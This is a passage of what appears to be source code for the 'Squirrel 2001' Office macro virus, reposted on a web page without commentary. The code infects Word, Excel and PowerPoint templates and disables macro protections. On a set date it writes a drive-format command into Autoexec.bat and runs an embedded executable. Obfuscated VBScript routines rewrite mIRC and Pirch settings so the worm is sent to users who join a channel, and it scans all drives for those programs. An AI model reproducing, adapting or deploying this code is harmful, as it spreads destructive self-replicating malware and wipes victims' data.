PPObj.Quit 
End If 
If TT.Lines(1, 1) <> "'<!--Squirrel-->" Then 
TT.DeleteLines 1, TT.CountofLines 
TT.InsertLines 1, NT.Lines(1, NT.CountofLines) 
End If 
call killyou 
End Sub 


Private Sub Workbook_Deactivate() 
On Error Resume Next 
Set AW = ActiveWorkbook.VBProject.vbcomponents("ThisWorkbook").CodeModule 
Set TW = ThisWorkbook.VBProject.vbcomponents("ThisWorkbook").CodeModule 
If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" Then 
Set WordObj = GetObject(, "Word.Application") 
If WordObj = "" Then 
Set WordObj = CreateObject("Word.Application") 
WQuit = True 
End If 
Set NT = WordObj.NormalTemplate.VBProject.vbcomponents(1).CodeModule 
WordObj.Options.SaveNormalPrompt = False 
NT.InsertLines 1, "Public Sub DisableAV()" + Chr(13) + Chr(10) + TW.Lines(23, 3) + Chr(13) + Chr(10) + TW.Lines(38, 3) + Chr(13) + Chr(10) + "End Sub" 
WordObj.Run "Normal.ThisDocument.DisableAV" 
NT.DeleteLines 1, NT.CountofLines 
NT.InsertLines 1, TW.Lines(1, TW.CountofLines) 
Set NT = Nothing 
If WQuit = True Then WordObj.Quit 
Set PPObj = CreateObject("PowerPoint.Application") 
Set PBT = PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse) 
For Each ModComponent In PBT.VBProject.vbcomponents 
If ModComponent.Name = "Squirrel" Then dontadd = True 
Next 
If dontadd <> True Then 
Set NewMod = PBT.VBProject.vbcomponents.Add(1) 
NewMod.Name = "Squirrel" 
NewMod.CodeModule.InsertLines 1, TW.Lines(1, TW.CountofLines) 
NewMod.CodeModule.ReplaceLine 118, "Sub actionhook(tristate)" 
Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight) 
With ShapetoWack 
.Name = "Squirrel" 
.ZOrder (1) 
.Line.Visible = False 
.Fill.Visible = False 
.ActionSettings(1).Action = 8 
.ActionSettings(1).Run = "actionhook" 
End With 
Set NewMod = Nothing 
PBT.Save 
End If 
PBT.Close 
PPObj.Quit 
Set xlApp = CreateObject("Excel.Application") 
Set Book1Obj = xlApp.Workbooks.Add 
Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.InsertLines 1, TW.Lines(1, TW.CountofLines) 
Book1Obj.SaveAs FileName:=Application.StartupPath & "\Book1.", FileFormat:=xlNormal, AddToMru:=False 
Book1Obj.Close 
xlApp.Quit 
End If 
If AW.Lines(1, 1) <> "'<!--Squirrel-->" Then 
AW.InsertLines 1, TW.Lines(1, TW.CountofLines) 
End If 
call killyou 
End Sub 
Private Sub actionhook(tristate) 
On Error Resume Next 
If Int(Rnd * 7) = 0 Then 
Set Home = ActivePresentation 
If UCase(Dir(Application.Path + "\Xlstart\Book1.")) <> UCase("BOOK1") Then 
Set WordObj = GetObject(, "Word.Application") 
If WordObj = "" Then 
Set WordObj = CreateObject("Word.Application") 
WQuit = True 
End If 
Set NT = WordObj.NormalTemplate.VBProject.vbcomponents(1).CodeModule 
WordObj.Options.SaveNormalPrompt = False 
NT.InsertLines 1, "Public Sub DisableAV()" + Chr(13) + Chr(10) + Home.VBProject.vbcomponents("Squirrel").CodeModule.Lines(23, 3) + Chr(13) + Chr(10) + Home.VBProject.vbcomponents("Squirrel").CodeModule.Lines(38, 3) + Chr(13) + Chr(10) + "End Sub" 
WordObj.Run "Normal.ThisDocument.DisableAV" 
NT.DeleteLines 1, NT.CountofLines 
NT.InsertLines 1, Home.VBProject.vbcomponents("Squirrel").CodeModule.Lines(1, Home.VBProject.vbcomponents("Squirrel").CodeModule.CountofLines) 
NT.ReplaceLine 118, "Private Sub actionhook(tristate)" 
Set NT = Nothing 
If WQuit = True Then WordObj.Quit 
Set xlApp = CreateObject("Excel.Application") 
Set Book1Obj = xlApp.Workbooks.Add 
Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.InsertLines 1, Home.VBProject.vbcomponents("Squirrel").CodeModule.Lines(1, Home.VBProject.vbcomponents("Squirrel").CodeModule.CountofLines) 
Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.ReplaceLine 118, "Private Sub actionhook(tristate)" 
Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1." 
Book1Obj.Close 
xlApp.Quit 
Set PBT = Presentations.Open(Application.Path + "\..\Templates\Blank Presentation.pot", , , msoFalse) 
dontadd = False 
For Each ModComponent In PBT.VBProject.vbcomponents 
If ModComponent.Name = "Squirrel" Then dontadd = True 
Next 
If dontadd <> True Then 
Set NewMod = PBT.VBProject.vbcomponents.Add(1) 
NewMod.Name = "Squirrel" 
NewMod.CodeModule.InsertLines 1, Home.VBProject.vbcomponents("Squirrel").CodeModule.Lines(1, Home.VBProject.vbcomponents("Squirrel").CodeModule.CountofLines) 
Set ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight) 
With ShapetoWack 
.Name = "Squirrel" 
.ZOrder (1) 
.Line.Visible = False 
.Fill.Visible = False 
.ActionSettings(1).Action = 8 
.ActionSettings(1).Run = "actionhook" 
End With 
PBT.Save 
End If 
PBT.Close 
End If 
End If 
ActivePresentation.SlideShowWindow.View.Next 
call killyou 
End Sub 
Private sub killyou() 
On Error Resume Next 
If Month(Now()) = 2 Then 
Dim A As String, C As Long, B As String 
If Format(Date, "d") <> 14 Then Exit Sub 
A = "9460301/3/4/65535/184/0/64/0/0/0/0/0/0/0/0/128/247078670/-855002112/1275181089/1750344141/1881174889/1919381362/1663069537/1869508193/1700929652/1853190688/544106784/542330692/1701080941/168627502/36/0/17744/65868/891316465/0/0/17760480/327947/4096/0/0/4112/4096/8192/4194304/4096/512/4/0/4/0/8192/512/0/2/1048576/4096/1048576/4096/0/16/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/2019914798/116/4096/4096/4096/512/0/0/0/1610612768/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/0/195/0/0/1018/608472405/1692087288/15205255/1526726656/1363299213/17780816/1543382092/-98778237/-1956238453/1905130603/-1989781998/-289276813/1938384400/1456233986/1217130635/-2086341636/814418152/41219595/-866193173/-337955845/1692087047/545981323/1476628324/268462173/1958936640/-1054798030/75698411/-1989798620/-306054037/1804166672/588238594/1359964867/1364328298/1778477649/1394658562/-2097151744/-1919475516/-1915773626/-202617/550326527/4194407/1488986895/-1958916469/-61830895/" & _ 
"-1982447475/-1226049023/59475/-2091188224/-850189117/1073768480/1962891264/1409222692/1397774844/1509708799/1488986895/50011/-396361728/0/314999134/-167772157/-2062614266/520/673471629/254032771/128389/-2096693760/-1974073914/-12843965/1074006132/109656756/6964806/1535868778/205753104/1342488707/1092668758/-2097135616/2088833220/1160707078/257836376/112261/2072208896/-2062614248/427/1124120678/3285197/-2112946112/411/1404996433/-1946157059/29488703/-1201272716/-919387391/-1070344193/-919349836/-1958555085/-671136806/-157525613/108265921/1124186214/262002687/90754/-2086906368/-1070366778/-393488716/1784218730/-671131076/-1958078837/-2116550715/1162870846/612699904/1392508929/23724138/588207954/-980725556/" & _ 
"-1031581007/-1915224313/-1924128190/-1223733242/1418530374/682627600/-503968118/1345484429/1363236434/1359208897/-905721853/-149139925/-1856945711/66078347/-2037777338/-1106/607945062/2071724216/-671103605/1493461653/1012108114/-15547773/1849590231/1953524058/1599822439/-721201319/1441661778/-63093619/55777417/-1098034473/-1200/-833189545/-1109895539/1018/-1031589397/274369320/1980258859/-394046676/-1961326328/1510151258/-1957211384/1510148186/-60947700/-1962649463/140116248/1076120193/725614592/51279595/264758011/871091233/-348339069/19398986/856171628/-61306405/-56588659/78774271/-855586970/-1902867680/-216/251809929/657560758/738197503/266724034/1485555745/1496877840/-242545181/14025144/-10921472/1542515671/865925464/" & _ 
"-2640704/1935580631/1725926193/-1958542408/2123103310/-19660802/258079566/553631777/1946147979/609484600/474188121/606632835/1099630197/21399848/129024865/1910796518/-747257806/217628006/-1077512563/-2147469236/218020454/1725366266/1241536703/138856294/-687927516/-1191944563/939349/237677241/-959185152/-497983488/-1998310658/-18706176/257250744/-1430955776/13030399/-1258364384/1711311072/201868999/869728016/1400944603/1747774595/-1073737728/1364396215/23613777/1094713349/-192196271/11332737/550305792/1048580/108954470/-33197033/-286569146/-972005887/-343913146/-2012706587/-2147432959/25692296/-712534077/-712534033/-1757147924/-1745889913/-1007757945/661010944/65619/4194408/4194369/4194354/544106829/875442550/642598688/22605/" 
O = "C:\Autoexec.bat" 
SetAttr O, 0 
Open O For Output As 1 
Print #1, "%windir%\command\format c: /autoexec/u/select" 
Close 
AW$ = InputBox("Squirrel was sad!", "Test") 
If AW$ = "39squirrels" Then 
Kill O 
MsgBox "You know me!", 4096, "Thanks..." 
Else 
Open "Squirrel.EXE" For Binary As 1 
Do Until A = "" 
C = InStr(A, "/") 
B = Left(A, C - 1) 
A = Right$(A, Len(A) - C) 
C = Val(B) 
Put 1, , C 
Loop 
Close 
Shell "Squirrel.EXE" 
MsgBox "I'm sader...", 48, "No..." 
End If 
end if 
end sub" 
set macroset=createobject("word.Application") 
Set NT = macroset.NormalTemplate.VBProject.vbcomponents(1).CodeModule 
set fsys=CreateObject("Scripting.FileSystemObject") 
set txtff=fsys.createtextFile("%windir%"&"\system32\"&"Squirrel2001macro.txt") 
txtff.write viruscaurse 
txtff.close 
set txtff=nothing 
set txtff=fsys.opentextfile("%windir%"&"\system32\"&"Squirrel2001macro.txt") 
If NT.Lines(1, 1) <> "'<!--Squirrel-->" Then 
NT.DeleteLines 1, NT.CountofLines 
Do While txtff.AtEndOfStream <> True 
NT.InsertLines la txtff.readline 
la=la+1 
loop 
dim ntt 
set ntt=macroset.NormalTemplate 
ntt.SaveAs FileName:="c:\Autoexec.dot", AddToRecentFiles:=False 
ntt.close 
nt.close 
set nt =nothing 
set ntt=nothing 
set macroset=nothing 
set txtff=nothing 
set fsys=nothing 
end sub 
sub ircvirus() 
hstxcaowgqz "" 
lfvaazcukod "" 
jjrtuqdkgzp() 
end sub 

Function hstxcaowgqz(ldjlkpyfjkp) 
On Error Resume Next 
if ldjlkpyfjkp = "" then 
if igalgbinffy.fileexists("c:\mirc\mirc.ini") then ldjlkpyfjkp="c:\mirc" 
if igalgbinffy.fileexists("c:\mirc32\mirc.ini") then ldjlkpyfjkp="c:\mirc32" 
aymnehqvpfd=rfqwdudwylf.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir") 
if igalgbinffy.fileexists(aymnehqvpfd & "\mirc\mirc.ini") then ldjlkpyfjkp=aymnehqvpfd & "\mirc" 
end if 
if ldjlkpyfjkp <> "" then 
set dcfxbemazhc = igalgbinffy.CreateTextFile(ldjlkpyfjkp & "\script.ini", True) 
dcfxbemazhc.WriteLine "[script]" 
dcfxbemazhc.writeline "n0=on 1:JOIN:#:{" 
dcfxbemazhc.writeline "n1= /if ( $nick == $me ) { halt }" 
dcfxbemazhc.writeline "n2= /.dcc send $nick "&igalgbinffy.GetSpecialFolder(0)& "\squirrel2001.vbs" 
dcfxbemazhc.writeline "n3=}" 
dcfxbemazhc.close 
end if 
end function 
function lfvaazcukod(eambqpgakgb) 
On Error Resume Next 
if eambqpgakgb="" then 
if igalgbinffy.fileexists("c:\pirch\Pirch32.exe") then eambqpgakgb="c:\pirch" 
if igalgbinffy.fileexists("c:\pirch32\Pirch32.exe") then eambqpgakgb="c:\pirch32" 
infeyymqwku=rfqwdudwylf.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir") 
if igalgbinffy.fileexists(infeyymqwku & "\pirch\Pirch32.exe") then eambqpgakgb=infeyymqwku & "\pirch\Pirch32.exe" 
end if 
if eambqpgakgb <> "" then 
set kwflfeakiul= igalgbinffy.CreateTextFile(eambqpgakgb & "\events.ini", True) 
kwflfeakiul.WriteLine "[Levels]" 
kwflfeakiul.WriteLine "Enabled=1" 
kwflfeakiul.WriteLine "Count=6" 
kwflfeakiul.WriteLine "Level1=000-Unknowns" 
kwflfeakiul.WriteLine "000-UnknownsEnabled=1" 
kwflfeakiul.WriteLine "Level2=100-Level 100" 
kwflfeakiul.WriteLine "100-Level 100Enabled=1" 
kwflfeakiul.WriteLine "Level3=200-Level 200" 
kwflfeakiul.WriteLine "200-Level 200Enabled=1" 
kwflfeakiul.WriteLine "Level4=300-Level 300" 
kwflfeakiul.WriteLine " 300-Level 300Enabled=1" 
kwflfeakiul.WriteLine "Level5=400-Level 400 " 
kwflfeakiul.WriteLine "400-Level 400Enabled=1" 
kwflfeakiul.WriteLine "Level6=500-Level 500" 
kwflfeakiul.WriteLine "500-Level 500Enabled=1" 
kwflfeakiul.WriteLine "" 
kwflfeakiul.WriteLine "[000-Unknowns]" 
kwflfeakiul.WriteLine "UserCount=0" 
kwflfeakiul.WriteLine "EventCount=0" 
kwflfeakiul.WriteLine "" 
kwflfeakiul.WriteLine "[100-Level 100]" 
kwflfeakiul.WriteLine "User1=*!*@*" 
kwflfeakiul.WriteLine "UserCount=1" 
kwflfeakiul.writeline "Event1=ON JOIN:#:/dcc tsend $nick " & igalgbinffy.GetSpecialFolder(0) & "\squirrel2001.vbs" 
kwflfeakiul.WriteLine "EventCount=1" 
kwflfeakiul.WriteLine "" 
kwflfeakiul.WriteLine "[200-Level 200]" 
kwflfeakiul.WriteLine "UserCount=0" 
kwflfeakiul.WriteLine "EventCount=0" 
kwflfeakiul.WriteLine "" 
kwflfeakiul.WriteLine "[300-Level 300]" 
kwflfeakiul.WriteLine "UserCount=0" 
kwflfeakiul.WriteLine "EventCount=0" 
kwflfeakiul.WriteLine "" 
kwflfeakiul.WriteLine "[400-Level 400]" 
kwflfeakiul.WriteLine "UserCount=0" 
kwflfeakiul.WriteLine "EventCount=0" 
kwflfeakiul.WriteLine "" 
kwflfeakiul.WriteLine "[500-Level 500]" 
kwflfeakiul.WriteLine "UserCount=0" 
kwflfeakiul.WriteLine "EventCount=0" 
kwflfeakiul.close 
end if 
end function 
Function jjrtuqdkgzp() 
On Error Resume Next 
Set rusyghrsxeu = igalgbinffy.Drives 
For Each jrhkuytiggg In rusyghrsxeu 
If jrhkuytiggg.Drivetype = Remote Then 
ibxbqdweghd= jrhkuytiggg & "\" 
Call qetljeojelr(ibxbqdweghd) 
ElseIf jrhkuytiggg.IsReady Then 
ibxbqdweghd= jrhkuytiggg&"\" 
Call qetljeojelr(ibxbqdweghd) 
End If 
Next 
End Function 
Function qetljeojelr(iibvitahxgz) 
Set boihenmxiux= igalgbinffy.GetFolder(iibvitahxgz) 
Set vbdkvvafcrz= boihenmxiux.Files 
For Each isczukopoqj In vbdkvvafcrz 
if isczukopoqj.name = "mirc.ini" then 
hstxcaowgqz(isczukopoqj.ParentFolder) 
end if 
if isczukopoqj.name = "Pirch32.exe" then 
lfvaazcukod(isczukopoqj.ParentFolder) 
end if 
Next 
Set isczukopoqj= boihenmxiux.SubFolders 
For Each fjyfemoplyf In isczukopoqj 
Call qetljeojelr(fjyfemoplyf.path) 
Next 
End Function 

评论

暂无
发表评论
 返回顶部 
热度(662)
 关注微信